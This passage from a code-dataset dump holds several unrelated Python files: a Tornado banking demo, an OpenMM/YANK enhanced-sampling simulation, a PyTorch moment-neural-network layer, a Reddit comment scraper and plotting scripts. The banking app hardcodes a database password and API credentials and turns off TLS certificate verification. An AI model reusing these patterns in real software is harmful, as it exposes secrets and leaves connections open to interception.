(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n record_to_insert = (cust_name,mes,systimestamp,cust_id,sysDate,sysTime,transID,debitAmt,avail_bal,hold_bal,ldgr_bal,acct)\n cursor.execute(postgres_insert_query, record_to_insert)\n \n connection.commit()\n count = cursor.rowcount\n print(count, \"Record inserted successfully into Paylog table\")\n print(mes)\n \n except (Exception, psycopg2.Error) as error:\n print(\"Failed to insert record into mobile table\", error)\n finally:\n # closing database connection.\n if connection:\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed\")\n\n\n\nclass History(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/history.html\")\n \n\n\nclass HistoryAction(tornado.web.RequestHandler):\n def post(self):\n\n try:\n acct=str(self.get_body_argument(\"accnt\"))\n connection = psycopg2.connect(host=\"dbaas901.hyperp-dbaas.cloud.ibm.com\",port=29491,database=\"admin\",user=\"admin\",password=\"fading2White!!!\")\n print(\"Connected to history tran\")\n cursor = connection.cursor()\n print(\"Connected to history tran\")\n postgres_insert_query = \"\"\" SELECT cust_name, message, \"timestampSys\",\"Customer_ID\", \"Response_Date\", \"Response_Time\", \"Trans_ID\",\"debitAmt\", \"Balance\", hold_bal, ledger_bal,acct_no from \"TCS-Schema\".\"PayLog\" \"\"\"\n print(\"Connected to history tran\")\n #record_to_insert = (cust_name,mes,systimestamp,cust_id,sysDate,sysTime,transID,debitAmt,avail_bal,hold_bal,ldgr_bal,acct)\n cursor.execute(postgres_insert_query) \n print(\"Connected to history tran\")\n array_records=cursor.fetchall()\n print(\"Connected to history tran\")\n for i in array_records:\n print(i[0])\n self.render(\"static/histresp.html\",array_record=array_records,bloc=\"history\")\n print(\"message\")\n print( \"Record inserted successfully into Paylog table\")\n \n \n except (Exception, psycopg2.Error) as error:\n print(\"Failed \", error)\n finally:\n # closing database connection.\n if connection:\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed\")\n\n\n\n\n\n\n\n\nclass basicRevHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"static/reversal.html\")\n\nclass revRequ(tornado.web.RequestHandler):\n def post(self):\n # base_url = 'https://192.86.33.94:19443/cusdereg/AccountNo?acctno='\n #base_url = 'https://gateway.aipc1.cp4i-b2e73aa4eddf9dc566faa4f42ccdd306-0001.us-east.containers.appdomain.cloud/sachinsorg/sandbox/payments/pymntRev?acctId='\n base_url = 'https://api.eu-gb.apiconnect.appdomain.cloud/m1ganeshtcscom1543928228162-dev/sb/payments/pymntRev?acctId='\n # 100000001001 is the only working answer\n headers = {'Content-Type': 'application/json'}\n end_url= base_url+str(self.get_body_argument(\"accnt\"))+\"&transId=\"+str(self.get_body_argument(\"trans\"))+\"&revAmt=\"+str(self.get_body_argument(\"debit_amt\"))\n req = requests.get(end_url, headers=headers, auth=('ef748535-de65-4edb-a0fd-89f94ed994d3', ''), verify=False)\n json_out = req.json()\n self.render(\"static/genericresp.html\",msg=json_out['CSREVRES']['CSREVRES']['MESSAGES'],cname=json_out['CSREVRES']['CSREVRES']['CUSTOMER_NAME'],hbal=json_out['CSREVRES']['CSREVRES']['HOLD_BALANCE'],lbal=json_out['CSREVRES']['CSREVRES']['LEDGER_BL'],bal=json_out['CSREVRES']['CSREVRES']['AVAILABLE_BALANCE'],cid=json_out['CSREVRES']['CSREVRES']['CUSTOMER_ID'],credamt=json_out['CSREVRES']['CSREVRES']['CREDIT_AMOUNT_RES'],tid=json_out['CSREVRES']['CSREVRES']['TRANSACTIONS_ID'],date=json_out['CSREVRES']['CSREVRES']['SYS_DATE'],time=json_out['CSREVRES']['CSREVRES']['SYS_TIME'],bloc=\"payrev\")\n\nclass basicBatchHandler(tornado.web.RequestHandler):\n def get(self):\n print(\"I'm listening on port specified\")\n self.render(\"static/batchapi.html\")\n\nclass batchrequ(tornado.web.RequestHandler):\n def post(self):\n base_url = 'https://192.86.33.94:19443/batchpgm/cbs?AcctNo='\n # 100000001001 is the only working answer\n headers = {'Content-Type': 'application/json'}\n end_url= base_url+str(self.get_body_argument(\"accnt\"))\n req = requests.get(end_url, headers=headers, auth=('ibmuser', 'ibmuser'), verify=False)\n json_out = req.json()\n print(\"json\")\n print(json_out)\n self.render(\"static/genericresp.html\",msg=json_out['HMSBATCHOperationResponse']['svc_resp_variables'],bloc=\"batch\")\n\n\nclass basicDVMHandler(tornado.web.RequestHandler):\n def get(self):\n print(\"I'm listening on port specified\")\n self.render(\"static/dvmapi.html\")\n\nclass dvmRequ(tornado.web.RequestHandler):\n def post(self):\n base_url = 'https://192.86.33.94:19443/dvmget/dvmget'\n # 100000001001 is the only working answer\n headers = {'Content-Type': 'application/json'}\n #end_url= base_url+str(self.get_body_argument(\"accnt\"))\n req = requests.get(base_url, headers=headers, auth=('ibmuser', 'ibmuser'), verify=False)\n json_out = req.json()\n print(\"json\")\n print(json_out)\n self.render(\"static/dvmresp.html\",type0=json_out['Records'][0]['account_type'],name0=json_out['Records'][0]['account_name'],stat0=json_out['Records'][0]['account_status'],id0=json_out['Records'][0]['customer_id'],acct0=json_out['Records'][0]['account_no'],branch0=json_out['Records'][0]['branch'],type1=json_out['Records'][1]['account_type'],name1=json_out['Records'][1]['account_name'],stat1=json_out['Records'][1]['account_status'],id1=json_out['Records'][1]['customer_id'],acct1=json_out['Records'][1]['account_no'],branch1=json_out['Records'][1]['branch'],bloc=\"dvm\")\n\n\n\n\nif __name__ == \"__main__\":\n app = tornado.web.Application([\n (r\"/\", landingPage),\n (r\"/register\", basicRequestHandler),\n (r\"/regrequ\", regRequ),\n (r\"/deregister\", basicDeRequestHandler),\n (r\"/deregrequ\", deRegRequ),\n (r\"/paymentauth\", basicPayHandler),\n (r\"/payrequ\", payRequ),\n (r\"/paymentrevauth\", basicRevHandler),\n (r\"/revRequ\", revRequ),\n (r\"/batchapi\", basicBatchHandler),\n (r\"/batchrequ\", batchrequ),\n (r\"/dvmapi\", basicDVMHandler),\n (r\"/dvmreq\", dvmRequ),\n (r\"/login\", Login),\n (r\"/homepage\", HomePage),\n (r\"/history\", History),\n (r\"/historyaction\", HistoryAction),\n ])\n print(\"commit\")\n if sys.platform == 'win32':\n \tasyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\t #print(\"inside win\")\n #server=HTTPServer(app)\n app.listen(port)\n # TODO remove in prod\n tornado.autoreload.start()\n print(\"I'm listening on port specified\")\n print(port)\n tornado.ioloop.IOLoop.current().start()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"373572134","text":"# 0000\n# 2018/07/19\n# 将你的 QQ 头像(或者微博头像���右上角加上红色的数字,类似于微信未读信息数量那种提示效果。\n\n__author__ = 'czhzz'\n\nfrom PIL import Image, ImageDraw, ImageFont\n\ndef add_num(filename, result, text, color):\n img = Image.open(filename)\n width = img.size[0]\n myfont = ImageFont.truetype('arial.ttf', size=width//8)\n draw = ImageDraw.Draw(img)\n draw.text((width-width//8, 0), text, font=myfont, fill=color)\n img.save(result, 'png')\n return 0\n\nif __name__ == '__main__':\n filename = 'a.png'\n result = 'b.png'\n text = '4'\n fillcolor = (255, 0, 0)\n add_num(filename, result, text, fillcolor)\n","sub_path":"0000/0000.py","file_name":"0000.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"613898511","text":"import os\nfrom pdbfixer import PDBFixer\nimport simtk.openmm as mm\nfrom simtk.openmm import unit, version, Context\nfrom simtk.openmm.app import Topology, PDBFile, Modeller, ForceField, PDBxFile, PME, Simulation, StateDataReporter, HBonds\nfrom openmmtools import states, mcmc\n#import protein_features as pf\nfrom features import featurize\nimport matplotlib.pyplot as plot\nimport numpy as np\nimport tempfile\nimport yank\nimport logging\n\n# output logs\nlogger = logging.getLogger(__name__)\nlogging.root.setLevel(logging.DEBUG)\nlogging.basicConfig(level=logging.DEBUG)\nyank.utils.config_root_logger(verbose=True)\n\n# set up basic parameters\nexperiment = 'wt_apo_both_4fs' # setting of the experiment (e.g. different combinations of the CVs)\npdbid = '2GQG' # PDB ID of the system\nchain = 'A'\niteration = 250000\nwork_dir = f'/data/chodera/jiayeguo/projects/cv_selection/sams_simulation/new_trials/{pdbid}_{experiment}_{iteration}'\ntemperature = 310.15 * unit.kelvin\npressure = 1.0 * unit.atmospheres\nndihedrals = 7 # number of dihedrals we want to restrain\nndistances = 2 # number of distances we want to restrain\ntargets = list(range(8)) # list of dunbrack clusters (sams states) to bias to\ncoefficient = 1.0 # coefficient for force constant\n\n# directly load the minimized and equilibrated protein\npdb = PDBFile(f'{pdbid}_chain{chain}_apo_minequi.pdb')\n# load force field\nforcefield = ForceField('amber14-all.xml', 'amber14/tip3pfb.xml')\nprint(\"Done loading force field.\")\nprint(\"OpenMM version:\", version.version)\n# use heavy hydrogens and constrain all hygrogen atom-involved bonds\nsystem = forcefield.createSystem(pdb.topology, nonbondedMethod=PME, rigidWater=True, nonbondedCutoff=1*unit.nanometer, hydrogenMass=4*unit.amu, constraints = HBonds)\n\n# Encode the Dunbrack data (Modi and Dunbrack Jr., 2019)\nimport pandas as pd\nfrom scipy import stats\ndf = pd.read_csv('./dunbrack_data_clean.csv')\n\ndata_mean = df.groupby('Cluster').aggregate({'X_Phi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'X_Psi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'Asp_Phi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'Asp_Psi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'Phe_Phi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'Phe_Psi' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'Phe_Chi1' : lambda x : stats.circmean(x, high=180.0, low=-180.0), 'D1' : 'mean', 'D2' : 'mean'})\n\ndata_std = df.groupby('Cluster').aggregate({'X_Phi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'X_Psi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'Asp_Phi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'Asp_Psi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'Phe_Phi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'Phe_Psi' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'Phe_Chi1' : lambda x : stats.circstd(x, high=180.0, low=-180.0), 'D1' : 'std', 'D2' : 'std'})\nprint(data_mean)\nprint(data_std)\ndunbrack_mean = dict(); dunbrack_std = dict()\n\n# convert cluster names to integers\nnames = dict()\nnames[0] = 'BLAminus'\nnames[1] = 'BLAplus'\nnames[2] = 'ABAminus'\nnames[3] = 'BLBminus'\nnames[4] = 'BLBplus'\nnames[5] = 'BLBtrans'\nnames[6] = 'BBAminus'\nnames[7] = 'BABtrans'\n\n# convert feature names to integers\nfeature_names = dict()\nfeature_names[0] = 'X_Phi'\nfeature_names[1] = 'X_Psi'\nfeature_names[2] = 'Asp_Phi'\nfeature_names[3] = 'Asp_Psi'\nfeature_names[4] = 'Phe_Phi'\nfeature_names[5] = 'Phe_Psi'\nfeature_names[6] = 'Phe_Chi1'\nfeature_names[7] = 'D1'\nfeature_names[8] = 'D2'\n\n# populate the mean and std dictionaries\nfor i in range(8): # each of the 8 clusters\n for j in range(7): # convert each of the 7 dihedrals to radians\n dunbrack_mean[i, j] = float(data_mean.loc[names[i], feature_names[j]]) / 180 * np.pi\n dunbrack_std[i, j] = float(data_std.loc[names[i], feature_names[j]]) / 180 * np.pi\n for j in range(7, 9): # each of the 2 distances (nm)\n dunbrack_mean[i, j] = data_mean.loc[names[i], feature_names[j]]\n dunbrack_std[i, j] = data_std.loc[names[i], feature_names[j]]\nprint(dunbrack_mean)\nprint(dunbrack_std)\n# Specify the set of key atoms and calculate key dihedrals and distances\n(key_res, dih, dis) = featurize(chain=f'{chain}', coord='processed_pdb', feature='conf', pdb=f'{pdbid}')\n\n# add dihedrals and/or distances to bias the sampling\nkT_md_units = (unit.MOLAR_GAS_CONSTANT_R * temperature).value_in_unit_system(unit.md_unit_system)\ntorsion_force = dict() # a dict of torsion forces we retain\nbond_force = dict() # a dict of bond forces we retain\nfor dihedral_index in range(ndihedrals):\n energy_expression = f'switch*coef*(K/2)*(1-cos(theta-phi0_dih{dihedral_index})); K = kT/(dphi_dih{dihedral_index}^2); kT = {kT_md_units}'\n torsion_force[dihedral_index] = mm.CustomTorsionForce(energy_expression)\n torsion_force[dihedral_index].addTorsion(int(dih[dihedral_index][0]), int(dih[dihedral_index][1]), int(dih[dihedral_index][2]), int(dih[dihedral_index][3]))\n torsion_force[dihedral_index].addGlobalParameter(f'phi0_dih{dihedral_index}', 1.0) # initial value of the center of torsion restraint (radians)\n torsion_force[dihedral_index].addGlobalParameter(f'dphi_dih{dihedral_index}', 1.0) # initial value of the width of torsion restraint (radians)\n torsion_force[dihedral_index].addGlobalParameter('switch', 1.0) # 1 if restraint is on, 0 if off\n torsion_force[dihedral_index].addGlobalParameter('coef', 1.0) # coefficient for force constant, default to 1.0\n system.addForce(torsion_force[dihedral_index])\n\nfor distance_index in range(ndistances):\n energy_expression = f'switch*coef*(K/2)*((r-r0_dis{distance_index})^2); K = kT/(dr_dis{distance_index}^2); kT = {kT_md_units}'\n bond_force[distance_index] = mm.CustomBondForce(energy_expression)\n bond_force[distance_index].addBond(int(dis[distance_index][0]), int(dis[distance_index][1]))\n bond_force[distance_index].addGlobalParameter(f'r0_dis{distance_index}', 1.0) # initial value of the center of distance\n bond_force[distance_index].addGlobalParameter(f'dr_dis{distance_index}', 1.0) # initial value of the width of distance\n bond_force[distance_index].addGlobalParameter('switch', 1.0) # lambda to indicate reaction progress\n bond_force[distance_index].addGlobalParameter('coef', 1.0) # coefficient for force constant, default to 1.0\n system.addForce(bond_force[distance_index])\nprint(\"Done defining the CV force.\")\n#for m in range(system.getNumForces()):\n# print(f'initial, force{m}: ',type(system.getForce(m)))\n# create thermodynamic states\nthermo_states = list()\nclass MyComposableState(states.GlobalParameterState):\n switch = states.GlobalParameterState.GlobalParameter('switch', standard_value=1.0)\n coef = states.GlobalParameterState.GlobalParameter('coef', standard_value=1.0)\n phi0_dih0 = states.GlobalParameterState.GlobalParameter('phi0_dih0', standard_value=1.0)\n dphi_dih0 = states.GlobalParameterState.GlobalParameter('dphi_dih0', standard_value=1.0)\n phi0_dih1 = states.GlobalParameterState.GlobalParameter('phi0_dih1', standard_value=1.0)\n dphi_dih1 = states.GlobalParameterState.GlobalParameter('dphi_dih1', standard_value=1.0)\n phi0_dih2 = states.GlobalParameterState.GlobalParameter('phi0_dih2', standard_value=1.0)\n dphi_dih2 = states.GlobalParameterState.GlobalParameter('dphi_dih2', standard_value=1.0)\n phi0_dih3 = states.GlobalParameterState.GlobalParameter('phi0_dih3', standard_value=1.0)\n dphi_dih3 = states.GlobalParameterState.GlobalParameter('dphi_dih3', standard_value=1.0)\n phi0_dih4 = states.GlobalParameterState.GlobalParameter('phi0_dih4', standard_value=1.0)\n dphi_dih4 = states.GlobalParameterState.GlobalParameter('dphi_dih4', standard_value=1.0)\n phi0_dih5 = states.GlobalParameterState.GlobalParameter('phi0_dih5', standard_value=1.0)\n dphi_dih5 = states.GlobalParameterState.GlobalParameter('dphi_dih5', standard_value=1.0)\n phi0_dih6 = states.GlobalParameterState.GlobalParameter('phi0_dih6', standard_value=1.0)\n dphi_dih6 = states.GlobalParameterState.GlobalParameter('dphi_dih6', standard_value=1.0)\n r0_dis0 = states.GlobalParameterState.GlobalParameter('r0_dis0', standard_value=1.0)\n dr_dis0 = states.GlobalParameterState.GlobalParameter('dr_dis0', standard_value=1.0)\n r0_dis1 = states.GlobalParameterState.GlobalParameter('r0_dis1', standard_value=1.0)\n dr_dis1 = states.GlobalParameterState.GlobalParameter('dr_dis1', standard_value=1.0)\n\nprotocol = dict()\nprotocol['switch'] = list()\nprotocol['coef'] = list()\nfor dihedral_index in range(ndihedrals):\n protocol[f'phi0_dih{dihedral_index}'] = list()\n protocol[f'dphi_dih{dihedral_index}'] = list()\nfor distance_index in range(ndistances):\n protocol[f'r0_dis{distance_index}'] = list()\n protocol[f'dr_dis{distance_index}'] = list()\n\nfor target in targets:\n protocol['switch'].append(1.0) # turn on restraint to each of the states\n protocol['coef'].append(coefficient) # turn on restraint to each of the states\n for dihedral_index in range(ndihedrals):\n protocol[f'phi0_dih{dihedral_index}'].append(dunbrack_mean[target, dihedral_index])\n protocol[f'dphi_dih{dihedral_index}'].append(dunbrack_std[target, dihedral_index])\n for distance_index in range(ndistances):\n protocol[f'r0_dis{distance_index}'].append(dunbrack_mean[target, distance_index + 7])\n protocol[f'dr_dis{distance_index}'].append(dunbrack_std[target, distance_index + 7])\n\n# add an unbiased state\nprotocol['switch'].append(0.0)\nprotocol['coef'].append(coefficient)\nfor dihedral_index in range(ndihedrals):\n protocol[f'phi0_dih{dihedral_index}'].append(dunbrack_mean[0, dihedral_index])\n protocol[f'dphi_dih{dihedral_index}'].append(dunbrack_std[0, dihedral_index])\nfor distance_index in range(ndistances):\n protocol[f'r0_dis{distance_index}'].append(dunbrack_mean[0, distance_index + 7])\n protocol[f'dr_dis{distance_index}'].append(dunbrack_std[0, distance_index + 7])\n\nprint(protocol.keys())\nconstants = {\n 'temperature' : temperature,\n 'pressure' : pressure,\n}\n\ncomposable_state = MyComposableState.from_system(system)\nthermo_states = states.create_thermodynamic_state_protocol(system=system, protocol=protocol, constants=constants, composable_states=[composable_state])\n# assign sampler_state\nsampler_state = states.SamplerState(positions=pdb.positions, box_vectors=system.getDefaultPeriodicBoxVectors())\n\n# Set up the context for mtd simulation\n# at this step the CV and the system are separately passed to Metadynamics\nfrom yank.multistate import SAMSSampler, MultiStateReporter\n# TODO: You can use heavy hydrogens and 4 fs timesteps\n\n# output logs\nlogger = logging.getLogger(__name__)\nlogging.root.setLevel(logging.DEBUG)\nlogging.basicConfig(level=logging.DEBUG)\nyank.utils.config_root_logger(verbose=True)\n\nmove = mcmc.LangevinDynamicsMove(timestep=4.0*unit.femtoseconds, collision_rate=1.0/unit.picosecond, n_steps=1000, reassign_velocities=False)\nprint(\"Done specifying integrator for simulation.\")\nsimulation = SAMSSampler(mcmc_moves=move, number_of_iterations=iteration, online_analysis_interval=None, gamma0=1.0, flatness_threshold=0.2)\nstorage_path = os.path.join(work_dir,'traj.nc')\nreporter = MultiStateReporter(storage_path, checkpoint_interval=500)\n# We should also add unsampled_states with the fully-interacting system\nsimulation.create(thermodynamic_states=thermo_states, sampler_states=[sampler_state], storage=reporter)\nprint(\"Done specifying simulation.\")\nsimulation.run()\nprint(f\"Done with {iteration} iterations.\")\n","sub_path":"SAMS_simulations/2GQG_wt_apo_both_4fs_250000/02.sams_dunbrack.py","file_name":"02.sams_dunbrack.py","file_ext":"py","file_size_in_byte":11581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"585686849","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 3 14:49:43 2020\n\n@author: zzc14\n\"\"\"\nimport torch\n#import numpy as np\nfrom torch import Tensor\nimport torch.optim as optim\nfrom torch.nn.parameter import Parameter\nimport torch.nn.functional as F\nfrom torch.nn import init\nfrom fast_dawson import *\n\nfunc_dawson = Dawson1()\nfunc_ddawson = Dawson2()\n\n\"\"\"\nargs:\n _vol_rest: the rest voltage of a neuron\n _vol_th: the fire threshold of a neuron\n _t_ref: the refractory time of a neuoron after it fired\n _conductance: the conductance of a neuron's membrane\n _ratio: num Excitation neurons : num Inhibition neurons \n\"\"\"\n_vol_rest = 0\n_vol_th = 20\n_t_ref = 5\n_conductance = 0.05\n_ratio = 0.8\n\n\nclass Mnn_Linear(torch.nn.Module):\n __constants__ = ['in_features', 'out_features']\n in_features: int\n out_features: int\n weight: Tensor\n\n def __init__(self, in_features: int, out_features: int, bias: bool = False) -> None:\n super(Mnn_Linear, self).__init__()\n self.in_features = in_features\n self.out_features = out_features\n self.weight = Parameter(torch.Tensor(out_features, in_features))\n if bias:\n self.bias = Parameter(torch.Tensor(out_features))\n else:\n self.register_parameter('bias', None)\n self.reset_parameters()\n\n def reset_parameters(self) -> None:\n init.kaiming_uniform_(self.weight, a=np.sqrt(5))\n if self.bias is not None:\n fan_in, _ = init._calculate_fan_in_and_fan_out(self.weight)\n bound = 1 / np.sqrt(fan_in)\n init.uniform_(self.bias, -bound, bound)\n\n def forward(self, input1: Tensor, input2: Tensor):\n out1 = F.linear(input1, self.weight, self.bias)*(1-_ratio)\n out2 = F.linear(torch.pow(input2, 2), torch.pow(self.weight, 2), self.bias)*(1+np.power(_ratio, 2))\n out2 = torch.sqrt(out2)\n return out1, out2\n\n def extra_repr(self) -> str:\n return 'in_features={}, out_features={}, bias={}'.format(\n self.in_features, self.out_features, self.bias is not None\n )\n\n\nclass Mnn_Activate_Mean(torch.autograd.Function):\n @staticmethod\n def forward(ctx, mean_in, std_in):\n clone_mean = mean_in.clone().detach().numpy()\n clone_std = std_in.clone().detach().numpy()\n shape = clone_mean.shape\n clone_mean = clone_mean.flatten()\n clone_std = clone_std.flatten()\n up_bound = (_vol_th * _conductance - clone_mean) / clone_std\n low_bound = (_vol_rest * _conductance - clone_mean) / clone_std\n mean_out = 1 / (_t_ref + (func_dawson.int_fast(up_bound) - func_dawson.int_fast(low_bound)) * 2 / _conductance)\n \"\"\"\n Perform that f = input + (f-input)' \n This is to make the least op on the input tensor\n \"\"\"\n mean_out -= clone_mean\n mean_out = torch.from_numpy(mean_out.reshape(shape))\n mean_out = torch.add(mean_in, mean_out)\n ctx.save_for_backward(mean_in, std_in, mean_out)\n return mean_out\n\n @staticmethod\n def backward(ctx, grad_output):\n mean_in, std_in, mean_out = ctx.saved_tensors\n clone_mean_in = mean_in.clone().detach().numpy()\n clone_std_in = std_in.clone().detach().numpy()\n clone_mean_out = mean_out.clone().detach().numpy()\n shape = clone_mean_in.shape\n clone_mean_in = clone_mean_in.flatten()\n clone_std_in = clone_std_in.flatten()\n clone_mean_out = clone_mean_out.flatten()\n up_bound = (_vol_th * _conductance - clone_mean_in) / clone_std_in\n low_bound = (_vol_rest * _conductance - clone_mean_in) / clone_std_in\n temp_value = func_dawson.dawson1(up_bound) - func_dawson.dawson1(low_bound)\n grad_mean = 2 * np.power(clone_mean_out, 2) * temp_value / (_conductance * clone_std_in)\n temp_value = up_bound * func_dawson.dawson1(up_bound) - low_bound * func_dawson.dawson1(low_bound)\n grad_std = 2 * np.power(clone_mean_out, 2) * temp_value / (clone_std_in * _conductance)\n\n grad_mean = torch.from_numpy(grad_mean.reshape(shape))\n grad_std = torch.from_numpy(grad_std.reshape(shape))\n grad_mean = torch.mul(grad_output, grad_mean)\n grad_std = torch.mul(grad_output, grad_std)\n return grad_mean, grad_std\n\n\nclass Mnn_Activate_Std(torch.autograd.Function):\n @staticmethod\n def forward(ctx, mean_in, std_in):\n clone_mean = mean_in.clone().detach().numpy()\n clone_std = std_in.clone().detach().numpy()\n shape = clone_mean.shape\n clone_mean = clone_mean.flatten()\n clone_std = clone_std.flatten()\n up_bound = (_vol_th * _conductance - clone_mean) / clone_std\n low_bound = (_vol_rest * _conductance - clone_mean) / clone_std\n mean_out = 1 / (_t_ref + (func_dawson.int_fast(up_bound) - func_dawson.int_fast(low_bound)) * 2 / _conductance)\n temp_out_mean = np.power(mean_out, 3 / 2)\n \"\"\"\n Perform that f = input + (f-input)' \n This is to make the least op on the input tensor\n \"\"\"\n std_out = (8 / np.power(_conductance, 2)) * (func_ddawson.int_fast(up_bound) - func_ddawson.int_fast(low_bound))\n std_out = np.sqrt(std_out) * temp_out_mean\n std_out -= clone_std\n std_out = torch.from_numpy(std_out.reshape(shape))\n std_out = torch.add(std_out, std_in)\n\n mean_out -= clone_mean\n mean_out = torch.from_numpy(mean_out.reshape(shape))\n mean_out = torch.add(mean_in, mean_out)\n ctx.save_for_backward(mean_in, std_in, mean_out, std_out)\n return std_out\n\n @staticmethod\n def backward(ctx, grad_output):\n mean_in, std_in, mean_out, std_out = ctx.saved_tensors\n clone_mean_in = mean_in.clone().detach().numpy()\n clone_std_in = std_in.clone().detach().numpy()\n clone_mean_out = mean_out.clone().detach().numpy()\n clone_std_out = std_out.clone().detach().numpy()\n shape = clone_mean_in.shape\n clone_mean_in = clone_mean_in.flatten()\n clone_std_in = clone_std_in.flatten()\n clone_mean_out = clone_mean_out.flatten()\n clone_std_out = clone_std_out.flatten()\n\n up_bound = (_vol_th * _conductance - clone_mean_in) / clone_std_in\n low_bound = (_vol_rest * _conductance - clone_mean_in) / clone_std_in\n temp_s3 = clone_std_out / (np.power(clone_mean_out, 3 / 2))\n\n temp_value = func_dawson.dawson1(up_bound) - func_dawson.dawson1(low_bound)\n mean_grad_mean = 2 * np.power(clone_mean_out, 2) * temp_value / (_conductance * clone_std_in)\n temp_value = up_bound * func_dawson.dawson1(up_bound) - low_bound * func_dawson.dawson1(low_bound)\n mean_grad_std = 2 * np.power(clone_mean_out, 2) * temp_value / (clone_std_in * _conductance)\n\n temp_value = func_ddawson.dawson2(up_bound) - func_ddawson.dawson2(low_bound)\n temp_variable1 = -4*np.power(clone_mean_out, 3/2)/(temp_s3*clone_std_in*np.power(_conductance, 2))\n temp_variable2 = 3/2*temp_s3*np.sqrt(clone_mean_out)\n std_grad_mean = temp_variable1 * temp_value + temp_variable2 * mean_grad_mean\n\n temp_value = up_bound*func_ddawson.dawson2(up_bound) - low_bound*func_ddawson.dawson2(low_bound)\n std_grad_std = temp_variable1*temp_value + temp_variable2 * mean_grad_std\n\n std_grad_mean = torch.from_numpy(std_grad_mean.reshape(shape))\n std_grad_std = torch.from_numpy(std_grad_std.reshape(shape))\n std_grad_mean = torch.mul(grad_output, std_grad_mean)\n std_grad_std = torch.mul(grad_output, std_grad_std)\n return std_grad_mean, std_grad_std\n\n\ndef loss_function(pred_mean, pred_std, target_mean, target_std):\n loss1 = F.mse_loss(pred_mean, target_mean)\n loss2 = F.mse_loss(pred_std, target_std)\n return loss1+loss2\n\n\nif __name__ == \"__main__\":\n\n # make sure each run the model has the same inited weights.\n seed = 5\n torch.manual_seed(seed)\n torch.set_default_tensor_type(torch.DoubleTensor)\n mnn_linear1 = Mnn_Linear(10, 10)\n print(\"===============================\")\n print(\"Weight of mnn_linear1:\", mnn_linear1.weight)\n print(\"===============================\")\n input_mean = torch.randn(1, 10)\n input_std = torch.randn(1, 10)\n\n optimizer = optim.SGD(mnn_linear1.parameters(), lr=1)\n target_mean = torch.ones(1, 10)\n target_std = torch.ones(1, 10)\n\n for epoch in range(1):\n output_mean, output_std = mnn_linear1.forward(input_mean, input_std)\n activated_mean = Mnn_Activate_Mean.apply(output_mean, output_std)\n activated_std = Mnn_Activate_Std.apply(output_mean, output_std)\n loss = loss_function(activated_mean, activated_std, target_mean, target_std)\n mnn_linear1.zero_grad()\n loss.backward()\n optimizer.step()\n print(\"===============================\")\n print(\"Weight of mnn_linear1:\", mnn_linear1.weight)\n print(\"===============================\")\n\n","sub_path":"mnn_pytorch.py","file_name":"mnn_pytorch.py","file_ext":"py","file_size_in_byte":8934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"18508776","text":"import praw\nimport json\n\nuser_agent = \"get comment history 1.0 by /u/simongray\"\n\nusername = 'kaspar42'\n\nr = praw.Reddit(user_agent=user_agent)\nuser = r.get_redditor(username)\ncomments = user.get_comments(limit=1000)\ncomment_bodies = [comment.body for comment in comments]\n\n# write to file\nwith open('comments/' + username + '_comment_history.json', 'w') as f:\n json.dump(comment_bodies, f, ensure_ascii=False)\n","sub_path":"comment_history.py","file_name":"comment_history.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"45965038","text":"import pickle\nfrom glob import glob\nimport igraph\nfrom math import ceil\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom os import path, remove\nimport pandas as pd\nfrom utils import extract_rt_relationships, get_lower, get_node_colors\nfrom graph_utils import adj_from_judgments, graph_from_value_adj, average_adjs\nfrom graph_utils import graph_from_dict\nimport seaborn as sns\nimport subprocess\n\n\n# load data\ndata_loc = path.join('Data','ProcessedData')\nstructuredata = pd.read_csv(path.join(data_loc, 'structuredata.csv'))\nvaluedata = pd.read_csv(path.join(data_loc, 'valuedata.csv'))\ntaskdata = pickle.load(open(path.join(data_loc,'taskdata.pkl'),'rb'))\nanalysis = pickle.load(open(path.join('Analysis_Results','analysis.pkl'),'rb'))\n\n# visual style for graphs\nvisual_style = {}\ncolors = get_node_colors()\nvisual_style['vertex_size'] = 40\nvisual_style['bbox'] = (600,600)\nvisual_style['margin'] = 60\nvisual_style['edge_curved'] = False\nvisual_style['vertex_label_size'] = 22\n\n#********************************************\n# Plot task structure\n#********************************************\n# plot graph\ngraph = taskdata.values()[0]['graph']\nvalue_graph = taskdata.values()[0]['node_values']\ntrue_value_adj = adj_from_judgments(value_graph)\ntrials = structuredata\n\ng = graph_from_dict(graph)\nlayout = g.layout('kk')\n\n\nnodes = [row['stim_index'] for i,row in trials.iterrows()]\nn_nodes = np.max(nodes)+1\n# visualization stuff\ng.vs['label'] = list(range(n_nodes))\n# plot animations\nfor i,n in enumerate(nodes[0:200]):\n g.vs[\"color\"] = ['yellow' if j == n else colors[j] for j in range(n_nodes)]\n igraph.plot(g, layout=layout, target = 'graph_%s.png' % str(i).zfill(3),\n edge_width=2, **visual_style)\ng.vs['color'] = colors\nigraph.plot(g, layout=layout, target = 